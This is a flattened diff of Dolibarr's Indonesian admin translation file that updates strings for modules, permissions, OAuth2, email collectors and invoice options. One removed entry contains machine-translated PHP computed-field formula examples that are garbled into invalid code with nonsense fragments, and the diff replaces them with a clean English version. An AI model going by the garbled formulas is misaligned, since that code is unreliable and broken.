      This parameter is useless on a Windows server. SeeWikiForAllTeam=Lihatlah halaman Wiki untuk daftar kontributor dan organisasi mereka UseACacheDelay= Keterlambatan untuk caching respons ekspor dalam detik (0 atau kosong tanpa cache) DisableLinkToHelpCenter=Sembunyikan tautan " Butuh bantuan atau dukungan " di halaman login @@ -439,8 +439,10 @@ Unique=Unik Boolean=Boolean (satu kotak centang) ExtrafieldPhone = Telepon ExtrafieldPrice = Harga +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Email ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Daftar Pilihan ExtrafieldSelectList = Pilih dari tabel ExtrafieldSeparator=Pemisah (bukan baris) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Kotak centang ExtrafieldCheckBoxFromList=Kotak centang dari tabel ExtrafieldLink=Tautan ke suatu objek ComputedFormula=Baris yang dihitung -ComputedFormulaDesc=Anda dapat memasukkan rumus di sini menggunakan properti objek lain atau kode PHP apa pun untuk mendapatkan nilai komputasi dinamis. Anda dapat menggunakan rumus PHP yang kompatibel termasuk "?" kondisi operator, dan objek global berikut:$ db, $ conf, $ langs, $ mysoc, $ user, $ object .
      PERINGATAN : Hanya beberapa properti $ objek yang mungkin tersedia. Jika Anda membutuhkan properti yang tidak dimuat, ambil sendiri objek ke rumus Anda seperti pada contoh kedua.
      Menggunakan baris yang dihitung berarti Anda tidak dapat memasukkan nilai apa pun dari antarmuka. Juga, jika ada kesalahan sintaks, rumus mungkin tidak menghasilkan apa-apa.

      Contoh rumus:
      $ objek-> id < 10 ? round($object-> id / 2, 2): ($ object-> id + 2 * $ user-> id) * (int), substr ($, 2,> )

      Contoh untuk memuat ulang objek
      (($ reloadedobj = new Societe ($ db)) && ($ reloadedobj-> fetchNoCompute ($ obj-> id? $ object? $ obj? $ obj> $ obj> $ obj> $ object? > rowid: $ object-> id))> 0))? $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      Contoh rumus lain untuk memaksa memuat objek dan objek induknya: a0342fccfda19bb $ tugas ($ rel ulang ($ rel) )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = Proyek baru ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))? $ secondloadedobj-> ref: 'Proyek induk tidak ditemukan' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Simpan baris yang dihitung ComputedpersistentDesc=Baris ekstra yang dikomputasi akan disimpan dalam basisdata, namun nilainya hanya akan dikalkulasi ulang ketika objek baris ini diubah. Jika baris yang dihitung bergantung pada objek lain atau data global, nilai ini mungkin salah!! ExtrafieldParamHelpPassword=Membiarkan baris ini kosong berarti nilai ini akan disimpan tanpa enkripsi (baris harus disembunyikan hanya dengan bintang di layar).
      Atur 'otomatis' untuk menggunakan aturan enkripsi secara default untuk menyimpan kata sandi ke dalam basisdata (kemudian nilai baca akan menjadi hash saja, tidak ada cara untuk mengambil nilai asli) @@ -477,7 +479,7 @@ InstalledInto=Diinstal ke direktori %s BarcodeInitForThirdparties=Init barcode massal untuk pihak ketiga BarcodeInitForProductsOrServices=Kode batang massal init atau reset untuk produk atau layanan CurrentlyNWithoutBarCode=Saat ini, Anda memiliki catatan %s pada %s %s tanpa kode barcode yang ditentukan. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Hapus semua nilai barcode saat ini ConfirmEraseAllCurrentBarCode=Anda yakin ingin menghapus semua nilai barcode saat ini? AllBarcodeReset=Semua nilai barcode telah dihapus @@ -501,7 +503,8 @@ WarningPHPMail=PERINGATAN: Pengaturan untuk mengirim email dari aplikasi menggun WarningPHPMailA=- Menggunakan server Penyedia Layanan Email meningkatkan kepercayaan email Anda, sehingga meningkatkan pengiriman tanpa ditandai sebagai SPAM WarningPHPMailB=- Beberapa Penyedia Layanan Email (seperti Yahoo) tidak mengizinkan Anda mengirim email dari server lain selain dari server mereka sendiri. Pengaturan Anda saat ini menggunakan server aplikasi untuk mengirim email dan bukan server penyedia email Anda, jadi beberapa penerima (yang kompatibel dengan protokol DMARC terbatas), akan menanyakan penyedia email Anda apakah mereka dapat menerima email Anda dan beberapa penyedia email (seperti Yahoo) mungkin menjawab "tidak" karena server tersebut bukan milik mereka, jadi beberapa Email yang Anda kirim mungkin tidak dapat diterima untuk pengiriman (hati-hati juga dengan kuota pengiriman penyedia email Anda). WarningPHPMailC=- Menggunakan server SMTP milik Penyedia Layanan Email Anda sendiri untuk mengirim email juga menarik sehingga semua email yang dikirim dari aplikasi juga akan disimpan ke direktori "Terkirim" di kotak surat Anda. -WarningPHPMailD=Selain itu, disarankan untuk mengubah metode pengiriman email ke "SMTP". Jika Anda benar-benar ingin mempertahankan metode "PHP" default untuk mengirim email, abaikan peringatan ini, atau hapus dengan menyetel konstanta MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP ke 1 di Beranda - Pengaturan - Lainnya. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Jika penyedia SMTP email Anda perlu membatasi klien email ke beberapa alamat IP (sangat jarang), ini adalah alamat IP dari agen pengguna email (MUA) untuk aplikasi ERP CRM Anda:%s . WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Contoh:
      Untuk formulir untuk membuat pi PageUrlForDefaultValuesList=
      Contoh:
      Untuk halaman yang berisi daftar pihak ketiga, itu adalah%s .
      Untuk URL modul eksternal yang diinstal ke direktori custom, jangan sertakan "custom /" jadi gunakan path sepertimymodule / mypagelist.php dan bukan custom / mymodule / mypagelist.php.
      Jika Anda ingin nilai default hanya jika url memiliki beberapa parameter, Anda dapat menggunakan%s AlsoDefaultValuesAreEffectiveForActionCreate=Perhatikan juga bahwa menimpa nilai default untuk pembuatan formulir hanya berfungsi untuk halaman yang dirancang dengan benar (jadi dengan parameter action = create atau presend ...) EnableDefaultValues=Aktifkan penyesuaian nilai default -EnableOverwriteTranslation=Aktifkan penggunaan terjemahan yang ditimpa +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Terjemahan telah ditemukan untuk kunci dengan kode ini. Untuk mengubah nilai ini, Anda harus mengeditnya dari Home-Setup-translation. WarningSettingSortOrder=Peringatan, pengaturan urutan penyortiran default dapat menyebabkan kesalahan teknis saat membuka halaman daftar jika baris adalah baris yang tidak dikenal. Jika Anda mengalami kesalahan seperti itu, kembali ke halaman ini untuk menghapus urutan penyortiran default dan mengembalikan perilaku default. Field=Baris @@ -643,11 +646,13 @@ Module2300Name=Pekerjaan terjadwal Module2300Desc=Manajemen pekerjaan terjadwal (alias tabel cron atau chrono) Module2400Name=Perihal / Agenda Module2400Desc=Lacak agenda. Catat kejadian otomatis untuk tujuan pelacakan atau catat agenda atau pertemuan manual. Ini adalah modul utama untuk Manajemen Hubungan Pelanggan dan Vendor yang baik. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Sistem Manajemen Dokumen / Manajemen Konten Elektronik. Organisasi otomatis dari dokumen Anda yang dihasilkan atau disimpan. Bagikan saat Anda membutuhkannya. -Module2600Name=API / layanan Web (server SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Mengaktifkan server SOAP Dolibarr yang menyediakan layanan API -Module2610Name=API / layanan Web (server REST) +Module2610Name=API / Web services (REST server) Module2610Desc=Aktifkan server Dolibarr REST yang menyediakan layanan API Module2660Name=Hubungi WebServices (klien SOAP) Module2660Desc=Aktifkan klien layanan web Dolibarr (Dapat digunakan untuk mendorong data / permintaan ke server eksternal. Hanya pesanan Pembelian yang didukung saat ini.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind kemampuan konversi Module3200Name=Arsip yang Tidak Dapat Diubah Module3200Desc=Aktifkan log peristiwa bisnis yang tidak dapat diubah. Perihal diarsipkan secara waktu nyata. Log adalah tabel read-only peristiwa dirantai yang dapat diekspor. Modul ini mungkin wajib untuk beberapa negara. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Jaringan sosial Module3400Desc=Aktifkan bidang Jaringan Sosial ke pihak ketiga dan alamat (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Istilah Ekonomi Internasional Module62000Desc=Tambahkan fitur untuk mengelola Incoterms Module63000Name=Sumber daya Module63000Desc=Kelola sumber daya (printer, mobil, kamar, ...) untuk dialokasikan ke agenda -Permission11=Membaca Nota Pelanggan +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Penerimaan +Permission11=Read customer invoices (and payments) Permission12=Membuat/Merubah Nota Pelanggan Permission13=Faktur pelanggan tidak valid Permission14=Validasi Nota Pelanggan @@ -714,6 +724,7 @@ Permission27=Menghapus Proposal Komersil Permission28=Ekspor proposal komersial Permission31=Membaca Produk Permission32=Membuat/Merubah produk +Permission33=Read prices products Permission34=Menghapus Produk Permission36=Lihat / kelola produk tersembunyi Permission38=Produk ekspor @@ -739,6 +750,7 @@ Permission79=Buat / ubah langganan Permission81=Membaca Pesanan Pelanggan Permission82=Membuat/Merubah Pesanan Pelanggan Permission84=Validasi Pesanan Pelanggan +Permission85=Generate the documents sales orders Permission86=Mengirim Pesanan Pelanggan Permission87=Menutup Pesanan Pelanggan Permission88=Membatalkan Pesanan Pelanggan @@ -840,9 +852,9 @@ Permission286=Ekspor kontak Permission291=Baca tarif Permission292=Tetapkan izin pada tarif Permission293=Ubah tarif pelanggan -Permission300=Baca barcode -Permission301=Buat / modifikasi barcode -Permission302=Hapus barcode +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Membaca Jasa Permission312=Tetapkan layanan / berlangganan ke kontrak Permission331=Baca bookmark @@ -874,6 +886,7 @@ Permission525=Akses kalkulator pinjaman Permission527=Pinjaman ekspor Permission531=Membaca Jasa Permission532=Membuat/Merubah Jasa +Permission533=Read prices services Permission534=Menghapus Jasa Permission536=Lihat / kelola layanan tersembunyi Permission538=Layanan ekspor @@ -937,7 +950,7 @@ Permission1190=Menyetujui (persetujuan kedua) pesanan pembelian Permission1191=Ekspor pesanan pemasok dan atributnya Permission1201=Dapatkan hasil ekspor Permission1202=Buat / Ubah ekspor -Permission1231=Baca faktur vendor +Permission1231=Read vendor invoices (and payments) Permission1232=Buat / ubah faktur vendor Permission1233=Validasi faktur vendor Permission1234=Hapus faktur vendor @@ -968,13 +981,14 @@ Permission3301=Hasilkan modul baru Permission4001=Read skill/job/position Permission4002=Buat/ubah skill/pekerjaan/posisi Permission4003=Hapus skill/pekerjaan/posisi -Permission4020=Read evaluations -Permission4021=Buat/ubah evaluasi Anda -Permission4022=Validasi evaluasi -Permission4023=Hapus evaluasi -Permission4030=Lihat menu perbandingan +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validasi evaluasi +Permission4025=Hapus evaluasi +Permission4028=Lihat menu perbandingan Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Baca konten situs web Permission10002=Buat / ubah konten situs web (konten html dan javascript) Permission10003=Buat / ubah konten situs web (kode php dinamis). Berbahaya, harus disediakan untuk pengembang terbatas. @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Jenis unit SetupSaved=Pengaturan disimpan SetupNotSaved=Pengaturan tidak disimpan +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Kembali ke daftar Modul BackToDictionaryList=Kembali ke daftar Kamus TypeOfRevenueStamp=Jenis cap pajak @@ -1219,7 +1237,7 @@ SetupDescription4= %s -> %s

      Perangkat lunak ini ada SetupDescription5=Entri menu Pengaturan lainnya mengatur parameter opsional. SetupDescriptionLink= %s - %s SetupDescription3b=Parameter dasar yang digunakan untuk menyesuaikan perilaku default aplikasi Anda (mis. untuk fitur terkait negara). -SetupDescription4b=Perangkat lunak ini adalah rangkaian dari banyak modul/aplikasi. Modul yang terkait dengan kebutuhan Anda harus diaktifkan dan dikonfigurasi. Entri menu akan muncul dengan aktivasi modul ini. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Peristiwa keamanan yang diaudit NoSecurityEventsAreAduited=Tidak ada peristiwa keamanan yang diaudit. Anda dapat mengaktifkannya dari menu %s Audit=Acara keamanan @@ -1235,11 +1253,13 @@ BrowserName=Nama peramban BrowserOS=OS peramban ListOfSecurityEvents=Daftar agenda keamanan Dolibarr SecurityEventsPurged=Perihal keamanan dibersihkan +TrackableSecurityEvents=Trackable security events LogEventDesc=Aktifkan pencatatan untuk peristiwa keamanan tertentu. Administrator log melalui menu%s - %s . Peringatan, fitur ini dapat menghasilkan sejumlah besar data dalam database. AreaForAdminOnly=Parameter pengaturan dapat diatur oleh pengguna administrator saja. SystemInfoDesc=Informasi sistem adalah informasi teknis lainnya yang Anda dapatkan dalam mode hanya baca dan hanya dapat dilihat oleh administrator. SystemAreaForAdminOnly=Area ini hanya tersedia untuk pengguna administrator. Izin pengguna Dolibarr tidak dapat mengubah batasan ini. CompanyFundationDesc=Edit informasi perusahaan / organisasi Anda. Klik tombol "%s" di bagian bawah halaman setelah selesai. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Jika Anda memiliki akuntan / pemegang buku eksternal, Anda dapat mengedit di sini informasinya. AccountantFileNumber=Kode akuntan DisplayDesc=Parameter yang mempengaruhi tampilan dan presentasi aplikasi dapat dimodifikasi di sini. @@ -1257,6 +1277,7 @@ TriggerActiveAsModuleActive=Pemicu dalam file ini aktif karena modul%sdia GeneratedPasswordDesc=Pilih metode yang akan digunakan untuk kata sandi yang dibuat secara otomatis. DictionaryDesc=Masukkan semua data referensi. Anda dapat menambahkan nilai Anda ke default. ConstDesc=Halaman ini memungkinkan Anda untuk mengedit (menimpa) parameter yang tidak tersedia di halaman lain. Ini sebagian besar merupakan parameter khusus untuk pengembang / pemecahan masalah lanjut saja. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Semua parameter terkait keamanan lainnya didefinisikan di sini. LimitsSetup=Batas / Pengaturan presisi LimitsDesc=Anda dapat menentukan batasan, tindakan awal, dan optimisasi yang digunakan oleh Dolibarr di sini @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Anda harus menjalankan perintah YourPHPDoesNotHaveSSLSupport=Fungsi SSL tidak tersedia di PHP Anda DownloadMoreSkins=Lebih banyak skin untuk diunduh SimpleNumRefModelDesc=Mengembalikan nomor referensi dalam format %syymm-nnnn di mana yy adalah tahun, mm adalah bulan dan nnnn adalah nomor auto-incrementing berurutan tanpa reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Mengembalikan nomor referensi dalam format %s-nnnn di mana nnnn adalah nomor kenaikan otomatis berurutan tanpa reset ShowProfIdInAddress=Tunjukkan ID profesional dengan alamat ShowVATIntaInAddress=Sembunyikan nomor PPN intra-Komunitas @@ -1376,7 +1399,7 @@ GetBarCode=Dapatkan barcode NumberingModules=Model penomoran DocumentModules=Model dokumen ##### Module password generation -PasswordGenerationStandard=Kembalikan kata sandi yang dibuat sesuai dengan algoritma Dolibarr internal: karakter %s yang berisi angka dan karakter bersama dalam huruf kecil. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Jangan menyarankan kata sandi yang dihasilkan. Kata sandi harus diketik secara manual. PasswordGenerationPerso=Kembalikan kata sandi sesuai dengan konfigurasi yang Anda tentukan secara pribadi. SetupPerso=Menurut konfigurasi Anda @@ -1430,6 +1453,10 @@ SuppliersPayment=Pembayaran vendor SupplierPaymentSetup=Pengaturan pembayaran vendor InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Penyiapan modul proposal komersial ProposalsNumberingModules=Model penomoran proposal komersial @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=Tanda air pada draft kontrak (tidak ada jika koson ##### Members ##### MembersSetup=Pengaturan modul anggota MemberMainOptions=Opsi utama +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Kelola Login untuk setiap anggota AdherentMailRequired=Diperlukan email untuk membuat anggota baru MemberSendInformationByMailByDefault=Kotak centang untuk mengirim konfirmasi email kepada anggota (validasi atau berlangganan baru) diaktifkan secara default MemberCreateAnExternalUserForSubscriptionValidated=Buat login pengguna eksternal untuk setiap langganan anggota baru yang divalidasi -VisitorCanChooseItsPaymentMode=Pengunjung dapat memilih dari mode pembayaran yang tersedia +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Aktifkan pengingat otomatismelalui emaildari langganan yang kedaluwarsa. Catatan: Modul%s harus diaktifkan dan diatur dengan benar untuk mengirim pengingat. MembersDocModules=Templat dokumen untuk dokumen yang dihasilkan dari catatan anggota ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=Aktifkan editor lanjutan untuk: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=Pembuatan / edisi WYSIWIG baris detail produk untuk semua entitas (proposal, pesanan, faktur, dll ...). Peringatan: Menggunakan opsi ini untuk kasus ini sangat tidak disarankan karena dapat menimbulkan masalah dengan karakter khusus dan pemformatan halaman saat membuat file PDF. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= Pembuatan / edisi WYSIWIG untuk eMailing massal (Alat-> eMailing) FCKeditorForUserSignature=WYSIWIG pembuatan / edisi tanda tangan pengguna FCKeditorForMail=Pembuatan / edisi WYSIWIG untuk semua email (kecuali Tools-> eMailing) @@ -1762,7 +1790,7 @@ DetailMenuHandler=Penangan menu tempat menampilkan menu baru DetailMenuModule=Nama modul jika entri menu berasal dari modul DetailType=Jenis menu (atas atau kiri) DetailTitre=Label menu atau kode label untuk terjemahan -DetailUrl=URL tempat menu dikirimkan kepada Anda (Tautan URL absolut atau tautan eksternal dengan http: //) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Kondisi untuk menunjukkan atau tidak masuk DetailRight=Kondisi untuk menampilkan menu abu-abu yang tidak sah DetailLangs=Nama file Lang untuk terjemahan kode label @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Gunakan jenis agenda (dikelola dalam Pengaturan menu -> Ka AGENDA_USE_EVENT_TYPE_DEFAULT=Secara otomatis mengatur nilai default ini untuk jenis agenda di agenda buat formulir AGENDA_DEFAULT_FILTER_TYPE=Secara otomatis mengatur jenis agenda ini di filter pencarian tampilan agenda AGENDA_DEFAULT_FILTER_STATUS=Secara otomatis mengatur status ini untuk agenda di filter pencarian tampilan agenda +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Tampilan mana yang ingin Anda buka secara default saat memilih menu Agenda AGENDA_REMINDER_BROWSER=Aktifkan pengingat acara pada browser pengguna (Ketika tanggal pengingat tercapai, popup ditampilkan oleh browser. Setiap pengguna dapat menonaktifkan pemberitahuan tersebut dari pengaturan pemberitahuan browser). AGENDA_REMINDER_BROWSER_SOUND=Aktifkan pemberitahuan suara @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Penurunan stok dalam POS tidak kompat CashDeskYouDidNotDisableStockDecease=Anda tidak menonaktifkan penurunan stok saat melakukan penjualan dari Point of Sale. Karena itu diperlukan gudang. CashDeskForceDecreaseStockLabel=Penurunan stok untuk produk batch terpaksa. CashDeskForceDecreaseStockDesc=Kurangi duluan oleh makan tertua dan jual kurma. -CashDeskReaderKeyCodeForEnter=Kode kunci untuk "Enter" didefinisikan dalam pembaca barcode (Contoh: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Pengaturan modul bookmark BookmarkDesc=Modul ini memungkinkan Anda untuk mengelola bookmark. Anda juga dapat menambahkan pintasan ke halaman Dolibarr atau situs web eksternal di menu sebelah kiri Anda. @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Model penomoran faktur vendor IfSetToYesDontForgetPermission=Jika diatur ke nilai bukan nol, jangan lupa untuk memberikan izin kepada grup atau pengguna yang diizinkan untuk persetujuan kedua ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Pengaturan modul GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Jalur ke file yang berisi Maxmind ip ke terjemahan negara.
      Contoh:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP/GeoIP.dat
      /usr/id/pengaturan/pengirimbaca +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Perhatikan bahwa file data ip ke negara Anda harus berada di dalam direktori yang dapat dibaca oleh PHP Anda (Periksa pengaturan open_basedir PHP Anda dan izin sistem file). YouCanDownloadFreeDatFileTo=Anda dapat mengunduhversi demo gratisdari file negara Maxmind GeoIP di %s. YouCanDownloadAdvancedDatFileTo=Anda juga dapat mengunduh versi lengkap , dengan pembaruan,dari file negara Maxmind GeoIP di %s. @@ -1922,6 +1953,7 @@ BackupDumpWizard=Wizard untuk membangun file dump basis data BackupZipWizard=Wizard untuk membangun arsip direktori dokumen SomethingMakeInstallFromWebNotPossible=Pemasangan modul eksternal tidak dimungkinkan dari antarmuka web karena alasan berikut: SomethingMakeInstallFromWebNotPossible2=Karena alasan ini, proses untuk meningkatkan yang dijelaskan di sini adalah proses manual yang hanya dapat dilakukan oleh pengguna yang memiliki hak istimewa. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Pemasangan modul eksternal dari aplikasi telah dinonaktifkan oleh administrator Anda. Anda harus memintanya untuk menghapus file%s untuk memungkinkan fitur ini. ConfFileMustContainCustom=Menginstal atau membuat modul eksternal dari aplikasi perlu menyimpan file modul ke direktori%s . Untuk membuat direktori ini diproses oleh Dolibarr, Anda harus menyiapkanconf / conf.php untuk menambahkan 2 baris arahan:
      $ dolibarr_main_url_rol 'custom_url';
      $ dolibarr_main_document_root_alt = '%s / custom'; HighlightLinesOnMouseHover=Sorot garis-garis tabel ketika mouse bergerak @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=Order pembelian MailToSendSupplierInvoice=Faktur vendor MailToSendContract=Kontrak MailToSendReception=Penerimaan +MailToExpenseReport=Expense reports MailToThirdparty=Pihak Ketiga MailToMember=Anggota MailToUser=Pengguna @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=Margin kanan pada PDF MAIN_PDF_MARGIN_TOP=Margin teratas pada PDF MAIN_PDF_MARGIN_BOTTOM=Margin bawah pada PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Tinggi untuk logo di PDF +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines MAIN_PDF_NO_SENDER_FRAME=Sembunyikan batas pada bingkai alamat pengirim @@ -2047,6 +2081,8 @@ RemoveSpecialChars=Hapus karakter khusus COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter untuk membersihkan nilai (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter untuk membersihkan nilai (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplikat tidak diizinkan +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Petugas Perlindungan Data (DPO, Privasi Data, atau kontak GDPR) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Bantu teks untuk ditampilkan di tooltip @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=Tambahkan pekerjaan terjadwal dan halaman pengaturan untuk memindai secara teratur kotak email (menggunakan protokol IMAP) dan merekam email yang diterima ke dalam aplikasi Anda, di tempat yang tepat dan / atau membuat beberapa catatan secara otomatis (seperti lead). NewEmailCollector=Kolektor Email Baru EMailHost=Host server IMAP email +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Direktori sumber kotak surat MailboxTargetDirectory=Direktori target kotak surat EmailcollectorOperations=Operasi yang harus dilakukan oleh kolektor EmailcollectorOperationsDesc=Operasi dijalankan dari urutan atas ke bawah MaxEmailCollectPerCollect=Jumlah email maksimum yang dikumpulkan per kumpulkan +TestCollectNow=Test collect CollectNow=Kumpulkan sekarang ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Tanggal percobaan koleksi terbaru @@ -2097,6 +2140,7 @@ CodeLastResult=Kode hasil terbaru NbOfEmailsInInbox=Jumlah email dalam direktori sumber LoadThirdPartyFromName=Muat pihak ketiga yang mencari di %s (hanya memuat) LoadThirdPartyFromNameOrCreate=Muat pencarian pihak ketiga di %s (buat jika tidak ditemukan) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Pesan dari percakapan yang dimulai oleh email pertama yang dikirim dari Dolibarr WithoutDolTrackingID=Pesan dari percakapan yang dimulai dengan email pertama TIDAK dikirim dari Dolibarr @@ -2106,7 +2150,7 @@ CreateCandidature=Buat lamaran kerja FormatZip=Kode Pos MainMenuCode=Kode entri menu (mainmenu) ECMAutoTree=Tampilkan pohon ECM otomatis -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
